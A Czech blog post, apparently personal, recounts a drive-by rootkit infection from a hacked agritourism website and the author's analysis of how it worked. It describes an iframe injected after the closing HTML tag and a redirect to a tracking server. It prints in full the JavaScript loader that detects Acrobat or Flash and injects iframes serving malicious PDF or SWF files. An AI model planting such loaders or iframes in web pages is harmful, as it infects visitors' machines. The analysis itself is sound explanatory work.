Jak jsem chytil rootkit

Minulý čtvrtek jsem si zaviroval pracovní počítač. Myslel jsem si, že už mám aspoň trochu zkušeností a „že se mi něco takového přece nemůže stát“.

Než přišel lékař

Otevřel jsem si stránky o agroturistice, ve Firefoxu. Stránky mě přesměrovaly na jinou adresu, ale zobrazily se informace o agrofarmě. Vše se zdálo být v pořádku, až na jedinou věc. Zobrazilo se okno s chybou, kterou způsobil přehrávač Flashe. Nebylo to normální, ale teoreticky to ještě nemuselo nic zanamenat.

Bohužel znamenalo. Po nějaké době začal NOD32 hlásit přítomný spyware. Jeho umístění bylo ve Windows\System32 a název knihovny dll se jmenoval při každém hlášení jinak. Vždy ale připomínal název nějakého běžného ovladače. NOD soubor vždy smazal a za několik minut se objevila další varianta.

V té době již chodily zprávy našemu administrátorovi, který spustil na mém stroji kompletní test.

Já jsem jej spustil také, dokonce o něco dříve, takže nakonec sken proběhl dvakrát.

Černý pátek – prostě krize

V pátek jsem byl bez pracovní stanice a musel jsem se spokojit s notebookem. Využil jsem toho k nahlášení zdroje virové nákazy odboru bezpečnosti, který se postaral o komunikaci se správcem domény. Během krátké chvíle zdroj viru z nakažených stránek zmizel.

Kolega z odboru IKT mi mezitím odviroval počítač s bezpečným obnovením týdenní zálohy. Stal jsem se slavným, protože podobný zásah řešil již více než před dvěma měsíci.

A moje výzkumy viru?

S pomocí Ubuntu a Firefoxu s vypnutými skripty jsem odchytil techniku nakažení a nakonec i samotné jeho kódy.

Virus se do stránky připsal až za konec značky </html> v podobě <iframe>.

Statistiky návštěvnosti jsou důležité i pro viry

Zdroj iframe vedl do Číny. Na přesměrovací server, který navíc ještě měřil „návštěvnost“ podle konkrétního zdroje.

http://------.cn/in.cgi?income28

Pak server přesměruje návštěvníka na server, který mu poskytne vhodný „obsah“. Poskytnutí obsahu závisí na možnostech klienta. Kód je optimalizován na chybu Flashe i Acrobatu, což je docela nepříjemné.

JavaScript rozhodne

Musíme si ověřit, jestli má klient funkční Acrobat Reader. Pokud ano, podstrčíme mu PDF. Pokud ne, proč to nezkusit s Flashem? Máme i verzi SWF.

A zde už přichází slavný kód. Není jednoduchý?

<script>
function pdfswf()
{
	try
	{
		for(i = 0; i <= navigator.plugins.length; i++)
		{
			name = navigator.plugins[i].name;
			if((name.indexOf("Adobe Acrobat") != -1) || (name.indexOf("Adobe PDF") != -1))
			{
				document.write('<iframe src="cache/readme.pdf"></iframe>');
			}
			if(name.indexOf("Flash") != -1)
			{
				document.write('<iframe src="cache/flash.swf"></iframe>');
			}
		}
	}
	catch(e){}
}
pdfswf();
</script>

A co dodat na závěr?

Myslete na uživatele a nabídněte jim alternativu obsahu. Dokáží to i čínské viry.

No Comments! Be The First!

Leave a Reply